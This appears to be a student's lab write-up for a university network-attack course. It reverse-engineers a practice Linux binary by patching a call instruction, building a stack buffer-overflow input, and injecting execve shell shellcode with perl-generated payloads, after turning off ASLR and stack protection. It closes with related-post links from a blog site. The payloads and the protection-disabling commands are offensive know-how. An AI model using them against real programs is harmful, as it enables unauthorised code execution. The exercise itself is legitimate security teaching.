2018-2019-2 网络对抗技术 20165321 Exp1 PC平台逆向破解
1. 逆向及Bof基础实践说明
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。
1.2实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。
1.3 基础知识
1.3.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:机器码:90。类似一个空指令,执行时CUP什么都不做,执行过这条指令在执行下一条指令。
JNE:机器码:75。如果条件不相等跳转到要跳转的位置。
JE:机器码:74。如果条件相等则跳转。
JMP:机器码:EB。直接跳转到所需跳转的位置。
补:段内直接短转Jmp short 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
CMP:类似通过对操作数做减法来比较操作数的指令,只做比较不保存结果。会对标志寄存器产生影响。
1.3.2掌握反汇编与十六进制编程器
2. 直接修改程序机器指令,改变程序执行流程
实验点1:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- cp pwn1 pwn2 拷贝pwn1为pwn2;
- 使用objdump -d pwn2将pwn2反汇编;
- vi pwn2进入编辑器,输入:%!xxd将显示模式切换为十六进制,准备进行修改;
- 在底行模式输入/e8d7定位需要修改的地方,确认并按i进入插入模式,修改d7为c3;
这部分的图没有截 - 可找到80484b5: e8 d7 ff ff ff call 8048491 这条汇编指令,这条指令就是在main函数中调用位于地址8048491处的foo函数,e8表示“call”,d7 ff ff ff是地址。因此,我们想让函数调用getShell,只需将其修改为c3 ff ff ff;
- 输入:%!xxd -r将十六进制转换为原格式,再输入:wq!保存并退出;
- 输入./pwn2,即运行修改后的代码,可以得到shell提示符;
3. 通过构造输入参数,造成BOF攻击,改变程序执行流
3.1 反汇编,了解程序的基本功能
3.2 确认输入字符串哪几个字符会覆盖到返回地址
截图:
3.3 确认用什么值来覆盖返回地址
3.4 构造输入字符串
截图:
4. 注入Shellcode并执行
一开始我只管输入execstack命令,系统一直提示无命令,后来才知道execstack命令需要安装,于是apt-get install execstack
,终于可以使用execstack命令。
4.1 准备工作
- 设置堆栈可执行:
execstack -s pwn3 //设置堆栈可执行 execstack -q pwn3 //查询文件的堆栈是否可执行
关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭 echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化
“2”为开启,“0”为关闭
4.2 构造要注入的payload
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 在一个窗口运行(cat input_shellcode;cat) | ./pwn3
- 在另外一个窗口ps -ef | grep pwn能看见当前运行pwn3的进程号为3094
- 在gdb里面
attach 3094
进行调试 disassemble foo
反编译- 可以看到ret指令的地址为0x080484ae,在此处设置断点
break *0x080484ae
- 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
- 再在gdb调试的终端输入
c
继续运行程序 info r esp
查看esp寄存器地址x/16x 0xffffd34c
以16进制形式查看0xffffd34c地址后面16字节的内容
- 从上图中看到01020304所在的地址为0xbffff21c,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xbffff21c + 0x00000004 = 0xbffff220。随后退出gdb调试。
- 修改注入代码的覆盖地址
perl -e 'print "A" x 32;print"\x20\xf2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
输入命令
(cat input_shellcode;cat) | ./pwn4
2018-2019-2 网络对抗技术 20165321 Exp1 PC平台逆向破解的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
<网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...
随机推荐
- Android读写properties配置文件
写这篇文章之前可以成功运行,文章后就各种找不到文件.所以并没有采用此种方式,后期完善.详见下篇解决方案. 配置文件读取很容易,修改需要注意权限,比如assets目录下就不允许修改. 配置文件的创建: ...
- 你好!酷痞Coolpy 之 Linux篇
欢迎你进入酷痞的物联网世界.这里有着自由的空气和自然的气息.接下来我将告诉你如果一步步建立一个自己专属的物联网平台. 由于目前的酷痞的官方域名还没有通过备案所以现在用临时域名解说本说明. 最终酷痞的官 ...
- 咸鱼入门到放弃7--jsp<二>jsp常用标签
一.JSP标签介绍 JSP标签也称之为Jsp Action(JSP动作)元素,它用于在Jsp页面中提供业务逻辑功能,避免在JSP页面中直接编写java代码,造成jsp页面难以维护. 二.JSP常用标签 ...
- CentOS系统安全加固常见方法
关于Linux系统安全加固的具体实现脚本及基线检查规范,以供主机维护人员参考学习. 其中以下脚本主要实现的功能包括: *加固项包括:密码长度.session超时时间.删除不用的帐号和组.限制root用 ...
- laravel 服务容器
服务容器,也叫IOC容器,其实包含了依赖注入(DI)和控制反转(IOC)两部分,是laravel的真正核心.其他的各种功能模块比如 Route(路由).Eloquent ORM(数据库 ORM 组件) ...
- 浅析uWSGI、uwsgi、wsgi
WSGI协议 首先弄清下面几个概念: WSGI:全称是Web Server Gateway Interface,WSGI不是服务器,python模块,框架,API或者任何软件,只是一种规范,描述web ...
- arcgis中转换netCDF为栅格数据
最近有个同学询问我一个问题,使用arcpy把netcdf转化成栅格文件,忙活了两个小时才搞定,其实主要代码非常简单,只不过要对arcgis 的功能比较熟悉(其实多思考和查考它的帮助文章,无聊) # - ...
- Python 遇到的坑
1. 循环导入 AB 互相引用,或者 中间掺入了更复杂的一些--用局部导入解决
- 剑指offer——python【第38题】二叉树的深度
题目描述 输入一棵二叉树,求该树的深度.从根结点到叶结点依次经过的结点(含根.叶结点)形成树的一条路径,最长路径的长度为树的深度. 解题思路 想了很久..首先本渣渣就不太理解递归在python中的实现 ...
- Error creating bean with name 'dataSource' defined in class path resource 报错解决办法
在学习spring boot 的数据库操作的时候,报了一串错误